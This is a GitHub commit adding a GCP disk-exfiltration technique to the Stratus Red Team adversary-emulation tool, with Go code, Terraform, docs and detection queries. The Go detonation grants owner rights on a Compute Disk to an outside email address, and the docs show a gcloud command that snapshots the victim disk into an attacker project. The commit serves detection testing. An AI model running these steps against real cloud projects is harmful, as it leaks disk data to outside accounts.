Skip to content

Commit

Permalink
New GCP attack technique: Exfiltrating a GCP Compute Disk (#370)
Browse files Browse the repository at this point in the history
  • Loading branch information
christophetd committed Jun 20, 2023
1 parent a5f79c1 commit 2354e0d
Show file tree
Hide file tree
Showing 7 changed files with 374 additions and 0 deletions.
122 changes: 122 additions & 0 deletions docs/attack-techniques/GCP/gcp.exfiltration.share-compute-disk.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
---
title: Exfiltrate Compute Disk by sharing it
---

# Exfiltrate Compute Disk by sharing it


<span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span>

Platform: GCP

## MITRE ATT&CK Tactics


- Exfiltration

## Description


Exfiltrates a Compute Disk by sharing with a fictitious attacker account. The attacker could then create a snapshot of the disk in their GCP project.

<span style="font-variant: small-caps;">Warm-up</span>:

- Create a Compute Disk

<span style="font-variant: small-caps;">Detonation</span>:

- Set the IAM policy of the disk so that the attacker account has permissions to read the disk in their own project


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate gcp.exfiltration.share-compute-disk
```
## Detection


You can detect when someone changes the IAM policy of a Compute Disk, using the GCP Admin Activity audit logs event <code>v1.compute.disks.setIamPolicy</code>. Here's a sample event, shortened for clarity:

```json hl_lines="18 20 25""
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user-sharing-the-disk@domain.tld",
"principalSubject": "user:user-sharing-the-disk@domain.tld"
},
"requestMetadata": {
"callerIp": "34.33.32.31",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..."
},
"resourceName": "projects/victim-project/zones/us-central1-a/disks/stratus-red-team-victim-disk",
"request": {
"policy": {
"version": "3",
"bindings": [
{
"role": "roles/owner",
"members": [
"user:attacker@gmail.com"
]
}
]
},
"@type": "type.googleapis.com/compute.disks.setIamPolicy"
}
}
}
```

After the attacker has permissions on the Compute Disk, they can create a snapshot of it in their own GCP project using:

```bash
gcloud compute snapshots create stolen-snapshot \
--source-disk https://www.googleapis.com/compute/v1/projects/victim-project/zones/us-central1-a/disks/stratus-red-team-victim-disk
```

When they do so, a GCP Admin Activity event <code>v1.compute.snapshots.insert</code> is generated in the victim project,
indicating that the attacker has not only shared but also actively stolen data from the disk (sample event shortened below):

```json hl_lines="5 6 14 16"
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "attacker@gmail.com",
"principalSubject": "user:attacker@gmail.com"
},
"requestMetadata": {
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/...",
// Note: the IP of the attacker is not logged in this event
},
"serviceName": "compute.googleapis.com",
"methodName": "v1.compute.snapshots.insert",
"resourceName": "projects/victim-project/zones/us-central1-a/disks/stratus-red-team-victim-disk",
"request": {
"@type": "type.googleapis.com/compute.snapshots.insert"
},
"metadata": {
"@type": "type.googleapis.com/google.cloud.audit.CrossEntityControlAuditMetadata"
}
}
}
```

Based on these events, detection strategies may include:

- Alerting when the IAM policy of a Compute Disk is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query:

```sql
protoPayload.methodName="v1.compute.disks.setIamPolicy"
```

- Alerting when someone with an unexpected e-mail domain creates a snapshot of a Compute Disk. Sample GCP Logs Explorer query:

```sql
protoPayload.methodName="v1.compute.snapshots.insert"
NOT protoPayload.authenticationInfo.principalEmail=~".+@your-domain.tld$"
```


5 changes: 5 additions & 0 deletions docs/attack-techniques/GCP/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,11 @@ This page contains the Stratus attack techniques for GCP, grouped by MITRE ATT&C
Note that some Stratus attack techniques may correspond to more than a single ATT&CK Tactic.


## Exfiltration

- [Exfiltrate Compute Disk by sharing it](./gcp.exfiltration.share-compute-disk.md)


## Persistence

- [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md)
Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Execute Command on Virtual Machine using Custom Script Extension](./azure/azure.execution.vm-custom-script-extension.md) | [Azure](./azure/index.md) | Execution |
| [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution |
| [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration |
| [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
| [Create a GCP Service Account Key](./GCP/gcp.persistence.create-service-account-key.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
| [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation |
Expand Down
8 changes: 8 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -242,6 +242,14 @@ AWS:
platform: AWS
isIdempotent: false
GCP:
Exfiltration:
- id: gcp.exfiltration.share-compute-disk
name: Exfiltrate Compute Disk by sharing it
isSlow: false
mitreAttackTactics:
- Exfiltration
platform: GCP
isIdempotent: true
Persistence:
- id: gcp.persistence.create-admin-service-account
name: Create an Admin GCP Service Account
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,206 @@
package gcp

import (
compute "cloud.google.com/go/compute/apiv1"
"context"
computepb "google.golang.org/genproto/googleapis/cloud/compute/v1"
"log"

_ "embed"
"fmt"
"github.com/datadog/stratus-red-team/v2/internal/providers"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
)

//go:embed main.tf
var tf []byte

func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "gcp.exfiltration.share-compute-disk",
FriendlyName: "Exfiltrate Compute Disk by sharing it",
Description: `
Exfiltrates a Compute Disk by sharing with a fictitious attacker account. The attacker could then create a snapshot of the disk in their GCP project.
Warm-up:
- Create a Compute Disk
Detonation:
- Set the IAM policy of the disk so that the attacker account has permissions to read the disk in their own project
`,
Detection: `
You can detect when someone changes the IAM policy of a Compute Disk, using the GCP Admin Activity audit logs event <code>v1.compute.disks.setIamPolicy</code>. Here's a sample event, shortened for clarity:
` + codeBlock + `json hl_lines="18 20 25""
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user-sharing-the-disk@domain.tld",
"principalSubject": "user:user-sharing-the-disk@domain.tld"
},
"requestMetadata": {
"callerIp": "34.33.32.31",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..."
},
"resourceName": "projects/victim-project/zones/us-central1-a/disks/stratus-red-team-victim-disk",
"request": {
"policy": {
"version": "3",
"bindings": [
{
"role": "roles/owner",
"members": [
"user:attacker@gmail.com"
]
}
]
},
"@type": "type.googleapis.com/compute.disks.setIamPolicy"
}
}
}
` + codeBlock + `
After the attacker has permissions on the Compute Disk, they can create a snapshot of it in their own GCP project using:
` + codeBlock + `bash
gcloud compute snapshots create stolen-snapshot \
--source-disk https://www.googleapis.com/compute/v1/projects/victim-project/zones/us-central1-a/disks/stratus-red-team-victim-disk
` + codeBlock + `
When they do so, a GCP Admin Activity event <code>v1.compute.snapshots.insert</code> is generated in the victim project,
indicating that the attacker has not only shared but also actively stolen data from the disk (sample event shortened below):
` + codeBlock + `json hl_lines="5 6 14 16"
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "attacker@gmail.com",
"principalSubject": "user:attacker@gmail.com"
},
"requestMetadata": {
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/...",
// Note: the IP of the attacker is not logged in this event
},
"serviceName": "compute.googleapis.com",
"methodName": "v1.compute.snapshots.insert",
"resourceName": "projects/victim-project/zones/us-central1-a/disks/stratus-red-team-victim-disk",
"request": {
"@type": "type.googleapis.com/compute.snapshots.insert"
},
"metadata": {
"@type": "type.googleapis.com/google.cloud.audit.CrossEntityControlAuditMetadata"
}
}
}
` + codeBlock + `
Based on these events, detection strategies may include:
- Alerting when the IAM policy of a Compute Disk is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query:
` + codeBlock + `sql
protoPayload.methodName="v1.compute.disks.setIamPolicy"
` + codeBlock + `
- Alerting when someone with an unexpected e-mail domain creates a snapshot of a Compute Disk. Sample GCP Logs Explorer query:
` + codeBlock + `sql
protoPayload.methodName="v1.compute.snapshots.insert"
NOT protoPayload.authenticationInfo.principalEmail=~".+@your-domain.tld$"
` + codeBlock + `
`,
Platform: stratus.GCP,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration},
Detonate: detonate,
Revert: revert,
PrerequisitesTerraformCode: tf,
})
}

func detonate(params map[string]string, providers stratus.CloudProviders) error {
gcp := providers.GCP()
diskName := params["disk_name"]
zone := params["zone"]
attackerEmail := "christophe@somewhereinthe.cloud"

log.Println("Exfiltrating " + diskName + " by sharing it with a fictitious attacker")
err := shareDisk(gcp, diskName, zone, attackerEmail)
if err != nil {
return fmt.Errorf("failed to share disk: %w", err)
}
log.Println("Successfully shared disk with a fictitious attacker account " + attackerEmail)
return nil
}

func revert(params map[string]string, providers stratus.CloudProviders) error {
gcp := providers.GCP()
diskName := params["disk_name"]
zone := params["zone"]

log.Println("Unsharing " + diskName)
err := unshareDisk(gcp, diskName, zone)
if err != nil {
return fmt.Errorf("unable to unshare disk: %w", err)
}
log.Println("Successfully unshared the disk - it is now private again")
return nil
}

func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetUser string) error {
diskClient, err := compute.NewDisksRESTClient(context.Background(), gcp.Options())
if err != nil {
return fmt.Errorf("unable to create compute client: %w", err)
}

roleName := "roles/owner"

_, err = diskClient.SetIamPolicy(context.Background(), &computepb.SetIamPolicyDiskRequest{
Resource: diskName,
Project: gcp.GetProjectId(),
Zone: zone,
ZoneSetPolicyRequestResource: &computepb.ZoneSetPolicyRequest{
Policy: &computepb.Policy{
Bindings: []*computepb.Binding{
{
Members: []string{"user:" + targetUser},
Role: &roleName,
},
},
},
},
})
if err != nil {
return fmt.Errorf("unable to set iam policy: %w", err)
}
return nil
}

func unshareDisk(gcp *providers.GCPProvider, diskName string, zone string) error {
diskClient, err := compute.NewDisksRESTClient(context.Background(), gcp.Options())
if err != nil {
return fmt.Errorf("unable to create compute client: %w", err)
}

_, err = diskClient.SetIamPolicy(context.Background(), &computepb.SetIamPolicyDiskRequest{
Resource: diskName,
Project: gcp.GetProjectId(),
Zone: zone,
ZoneSetPolicyRequestResource: &computepb.ZoneSetPolicyRequest{
Policy: &computepb.Policy{
Bindings: []*computepb.Binding{},
},
},
})
if err != nil {
return fmt.Errorf("unable to set iam policy: %w", err)
}
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
terraform {
required_providers {
google = {
source = "hashicorp/google"
version = "~> 4.28.0"
}
}
}

locals {
disk-name = "stratus-red-team-victim-disk"
}


resource "google_compute_disk" "disk" {
name = local.disk-name
size = 10 # minimum size is 10GB
zone = "us-central1-a"
}

output "disk_name" {
value = google_compute_disk.disk.name
}

output "zone" {
value = google_compute_disk.disk.zone
}

output "display" {
value = format("Compute disk %s is ready", google_compute_disk.disk.name)
}
Loading

0 comments on commit 2354e0d

Please sign in to comment.